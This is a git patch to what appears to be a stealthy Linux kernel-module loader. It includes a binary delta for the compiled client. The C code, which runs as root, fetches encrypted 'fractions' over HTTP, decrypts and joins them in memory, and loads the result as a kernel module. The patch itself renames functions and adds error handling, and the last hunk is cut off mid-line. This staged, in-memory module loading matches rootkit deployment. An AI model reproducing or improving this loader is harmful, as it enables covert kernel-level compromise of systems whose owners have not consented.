From 1c19feb4bacca03ffb19789ce10a3e6bd34369ee Mon Sep 17 00:00:00 2001 From: S0S4 Date: Tue, 8 Oct 2024 20:08:21 +0200 Subject: [PATCH] [WIP] Refactorizing code --- client/client | Bin 38432 -> 38424 bytes client/include/cipher.h | 6 +++++- client/include/crc32.h | 7 +------ client/include/load.h | 2 +- client/src/load.c | 20 ++++++++++++-------- client/src/main.c | 8 +++++--- 6 files changed, 24 insertions(+), 19 deletions(-) diff --git a/client/client b/client/client index 673de49555750ff84d7930670a694648841336fb..aaf6aa3411d3f8224efcd7c4f2e52c0be0f416fa 100755 GIT binary patch delta 6503 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 H?P321J3gH$ delta 6691 zcmZ`;3s_ZE+TMF3DVIc4Jb=nMsK7zFD)uCS z*rV;(qiwdTma6bCJxhlv;wc?Qz11ksq+_{;u&x2|8Ue%Wo0yIND7;c>OUmJ~>%LP8>rBIby_S;zC3&ks#L z;T4&v!sPsh#2AQ;Dnlkj<_%C3#|HZQgy(M&>hJ&ih@C$`6?{(}xnmLW1L%bVySar~QN@uh~)A>`}7u^iAbYH=cmqr7v*5Mhbi}*H&)80~7o@7(%V`MJZf8oIh zZTK9Or&-mfAFZ%jy59_hMx{!xS_h~f(*bL?=Il)a!_8%bf_NbIrpEn~G2Q+aMX9tO zC@(#r77sTj_I0zOG}g0oy_jNqlf!B2fmK2Rs3KVOvlfx9;}NJ7n+?xhNV!Z3s%wT? z{gaBKG%TRULVGSb6u@&0HRL53t=K3!hgtQUD=p#hJfo#CeROwb(Vr7cR4uc0Ty|G>CYY+Xl1Q<2YY zeed()EGulBnRLaF9-bPz=$5Wm+B?ciJCvefPJ0JB*#<~Vk$d*T80L={Fw!?B^xa#u zbm$1bu%9}k^kUyeuPK<|qMP)$p&{xR`f8}3nohTdKBR5FK@Se|?;gzVgFn%dVWHaD z8}$6J)c$tFm$&Q1{ToNKGYw6n?<+Uy$6<+D)lU=^5vI-ii5`v^;`Jps^_XU*;X192 z2nzp|+t?Fmqt?i0%g8RNpQ6-xPK6gcjoBw7qSW5h5fQCjzd@0aQN4~&6{~edF8owl z7#ZlfgFy^@^L5%38K@O8HIz<81`G~>7JELp##3T%!>qR{#n!qY?qj0S$GuULw3_QQ zE6V0&V|b>%R_`6b~yb^WR4y=#QGy-%HQvWg=yw94CS}mq_Pw0Xiuk-=osyj zYxL*nNUgYy&PAJt&tusYLYBvi%Rr9zo8G8lN%hO;FbQ?*m{)3a9}zRrqci)lv??ZD z?MFvr26?;)4)>EpKgO(8r_ocfv%OyBxW5{47h-2<*B+p;aY4SpoZ4@hzIBxr#|`!p z$s9MxFU48B_Hyt?M*DDFkaqcd`X=rHHGtxWkL}7Jl~xX)Xz6!_cg@A}(u<1ErUgj5 zRoz_o9>=#C@!t+NcO_^hpAnnXXnJ+TT(9%Y>5Cy^Nqfept5$j_K32QgN|o`^+M!me zj}O$|Y^Brj=^kyM^7tGSIx<|HO_?J@{2f>+N9Do#VD5!?OJh4&t`yoZGR%7HJ8VV! zc@guHy8z`|MYqZ7Tk> z(UYl7-_f{)ejXN3IguQioe-uy=c089S>8hc*5evb8seu>TSBt;eGFg~1u$yVzr7!2 zAVvbIiBZAZzePvR>ATU7%dx>*L%qeZf$tk}KR@#=RV7-nkoAcXAz|P;?eC-4b5N*g zDvm-crLw86h*if*Rj<*}8huO2qx*YrW;{*ed82dG3H1KxZ14RH=SVm@$=~}B1Gy5I znp8Hk89)PXL=4e5d)vP0oRIR;cAqC}ImZlieVRk(8KHL^)(d!hI_*|Y?+fNEl=2bD z0p8y;ut)-vldozYT_D?-SZ|&2H4-l!>M+|JBER0C2(xaa_>wAHcDX9 z*j?JDuc>Wpwz`Tk$EEf>JOktC1urkvY}zqya?fT!U89O7ecYhX17GnPVE&!97)Rw{ zW1Szr13cmiqjcLKpC4GzCI#2E&(y+iU(cYsG+3(($t z?C;YZm6se&_fH_pm$yIelcQXBy4SHmLcFQzsuN8ept@c?%*WD2m zg4xMWV&#MNkqXY2IQRZo2`qDAT3VlUWP>&3!QY2!?T!i?Su=*397pUe;Nz?CJe$i8 zArN;1)pOtfYql2!PFt=*CC6g`TeJBwTJmDuJ`uVMc= zDnD|4a0Vm!U0Rj)maePygwOg{c=|x0<7uJce*)k5@X(7x>UMJ)9-KzQos&5B7YaxZ zjyVR@HS4ULez7gG>dtVG-(7;P{!9zf2c%s@7g(Z!A}vhzG{iS5v!E1+n)oJfwRSph zasFMe_95-zHcRR~N_p*t_s= zws(I0oH|1b9U*0z%#6Pab59p@9kQ+EH-GCw9M(E;mHM>^!(EVw4O`2AYtX0202fAd z-8xnr4ea;RJF`nMzDu!BK;w4sU9V%f##dS3nd+7aFL!$@bHAFrXyIaIO8%mP+`03Y zJZ@QBFt>P7J}WEAw0ZeU^DWDBmsxU`Sn`)HEm&&lq!rD}w@jLNKfOIUui9_QweF$! z<>xIeDJ+^_u*6chv>-2k*)q#xx$_t0&sCN!&5O>PUkI(JJc^x_fZrU|?lb$SWom!7 zq#BHkCuZLJy55fZnIpR14BO+Vu3v<0fVCjvM_3!I{g|%jz;1_K1>5nVuJ49@{3BgI z3cDB91$zOu2Yv!&HS4++_61l6?02y9U?-i@%k<|^Id%#Hu*3fW0oZ-8F4(_+3<10k zFJRHFu{GDKuy1{?>o;KE{!-Wbx+}^Dup?mq1v?FP z5?(Szu;;!m)AbindG~^@AAs$EZGp|YsOt*eq$4h2D+!@7=S#WMuuefXP4^RvR#=cy{otp1tyWtk^@ z4%Q>gN$J^Ztv3GNd$g(E-66#hC-CQo)y`&_PQRnv&25Ui-~d(d8&$c1zey)3aCVUT z-;_AptTxdMlpj;cY_k@5l3tu0q&ZGfJ^WA6S$Gc6&+r6%NP*cwY91wKo7ICf17$Up zh;m!DSxY!g^>7!_+3dmUWcn55G78QytGg&AXRx}T@=@PL6(~2+A5p$ahfp@trJTXq z=+DVBcaZusMdl6;?u++iE+^YL2JKOiKj%IP8(}&=2dlP=#oOpj+Lvoq zYv>fpM!JUbZStLCR_iGi*v8uE1Eyi{duM`3tA4e{))}|8jfez zpxs_kjRXvVMc_nX z5v_1yb=;EY-NrvM#l|{Hp|m@sU4>6Ke%4C6UfL>YpO^OK88+Id`GxP2?cLJ;ue3GN z)=S$|ov}1s^DLZb$gh}4QAL4NQ#8bLv4j>2=yy%B6c6!QAsM9;xzFJ0!s1$0y+Gm1 zm&f|q484DH&UhZg;5DVEaz)}|{{Z*H{l@s4bZWUN@RJl9la*njRFt_g>i+Sht(dKi znoDz5M5(n@wIbd3rC~O~dP;H=>8n+yEhRm)xKZR;5;dnF)$ohg4>X*h^qm6*csPc=y1lJtxuElf9XvA^J3 zPX|j(IDf%UnbbG99$P1wi<1myKdF$5Tg#&OD^05nT*AsBjtV%9C|{+QqTpZG_`#_Y z&n2PnNvq3EYIpK|+7u9o`=5v1Ez%|!{0p3)aQ3RnTxL8dIaO&k;X5ZvMacoqy{y8o z6!FMz7D)c|5Ca$29tZ_Oa~17`@)l8lgUbMZ7jX{!Z)*I+h!XD&!MVz1tS&h(kF*J| z%BKZSU-ap#^-_Asks7F?1XJ!xQ$Retth_zJCLC$fJx+KZmfn}*4DajcgP$Ds;x`tT zuLvf87_-hixe10FMCAl~W51N%8o3p6rS}r!nvc?XcqFW}3T2gipE0RHw6D|@I}+Cv z>n}*O36dMuj~~0ld-6{lJe|s!A~s)?%SGwrGT;@-e>&RWTjYp#3-90H^;H5C{90f! z-XG$b#@@1{GIqD!CQxx%qV}o8^%Mi|+=1UnyjAX;XG9bV+-E$N(WwT%kHqt_V;SE( z*uX<2-qYZxDm6n5$3p2C0EaKOc=Kul$IDbak+OpVIVs{|g(ry)mYLKnswy)DOw=I>|h7vQ{XPI%_xT&90T~&0~`>=2#U9U>RD<^SFw8wA%i}S>m1dqZjquavjeOtP_ QsZmt7H9`G?u5Atb4-=BO_W%F@ diff --git a/client/include/cipher.h b/client/include/cipher.h index 06991bc..422b0dd 100644 --- a/client/include/cipher.h +++ b/client/include/cipher.h @@ -1,3 +1,6 @@ +#ifndef cipher_h +#define cipher_h + #include "../include/fraction.h" #include @@ -12,5 +15,6 @@ typedef struct{ size_t text_size; } decrypted; +decrypted *decrypt_fraction(fraction_t *fraction); -decrypted * decrypt_fraction(fraction_t *fraction); +#endif diff --git a/client/include/crc32.h b/client/include/crc32.h index 50bf4ab..00b56a4 100644 --- a/client/include/crc32.h +++ b/client/include/crc32.h @@ -4,12 +4,7 @@ #include #include #include "fraction.h" + extern const uint32_t crc32_tab[]; -/* - * A function that calculates the CRC-32 based on the table above is - * given below for documentation purposes. An equivalent implementation - * of this function that's actually used in the kernel can be found - * in sys/libkern.h, where it can be inlined. - */ uint32_t crc32(const void *buf, size_t size); #endif // CRC32_H diff --git a/client/include/load.h b/client/include/load.h index c1d52cc..6703306 100644 --- a/client/include/load.h +++ b/client/include/load.h @@ -15,4 +15,4 @@ int load_lkm(const unsigned char* lkm, ssize_t total_size); int is_lkm_loaded(const char *name); int remove_lkm(); -int *create_module(int num_links,fraction_t *fractions); +int create_lkm(int num_links,fraction_t *fractions); diff --git a/client/src/load.c b/client/src/load.c index bed9781..7b0a58b 100644 --- a/client/src/load.c +++ b/client/src/load.c @@ -1,4 +1,5 @@ #include "../include/load.h" +#include "../include/cipher.h" int remove_lkm(){ @@ -12,7 +13,6 @@ int remove_lkm(){ return WEXITSTATUS(result); } - int is_lkm_loaded(const char* name){ DIR *dir = opendir("/sys/module/"); @@ -66,40 +66,44 @@ int load_lkm(const unsigned char *lkm,ssize_t total_size){ return 0; } -int create_module(int num_links,fraction_t *fractions){ +int create_lkm(int num_links,fraction_t *fractions){ unsigned char *module = NULL; ssize_t total_size = 0; ssize_t module_size = 0; + decrypted *decrstr; for (int i = 0; i < num_links; i++) { decrstr = decrypt_fraction( &fractions[i]); - if (decrstr -> decryptedtext == NULL) { log_error("Decryption process failed"); - continue; + return -1; } if (module == NULL) { total_size = decrstr -> text_size; module = malloc(total_size); if (module == NULL) { log_error("Error in memory assigning"); - break; + return -1; } } else if (module_size + decrstr -> text_size > total_size) { total_size += decrstr -> text_size; unsigned char * tmp = realloc(module, total_size); if (tmp == NULL) { log_error("Memory reallocation failed"); - break; + return -1; } module = tmp; } memcpy(module + module_size, decrstr -> decryptedtext, decrstr -> text_size); module_size += decrstr -> text_size; } - load_lkm(module, total_size); - return decrstr; + if(load_lkm(module, total_size) < 0){ + log_error("There was an error loading the LKM"); + } + + + return 0; } diff --git a/client/src/main.c b/client/src/main.c index 0c44038..e1b30d7 100644 --- a/client/src/main.c +++ b/client/src/main.c @@ -37,7 +37,7 @@ int main(void) { http_res_t http_post_res = {0}; char **fraction_links = NULL; fraction_t *fractions = NULL; - decrypted *module; + int module; if(geteuid() != 0){ fprintf(stderr,"This program needs to be run as root!\n"); @@ -105,9 +105,11 @@ int main(void) { for (int i=0; i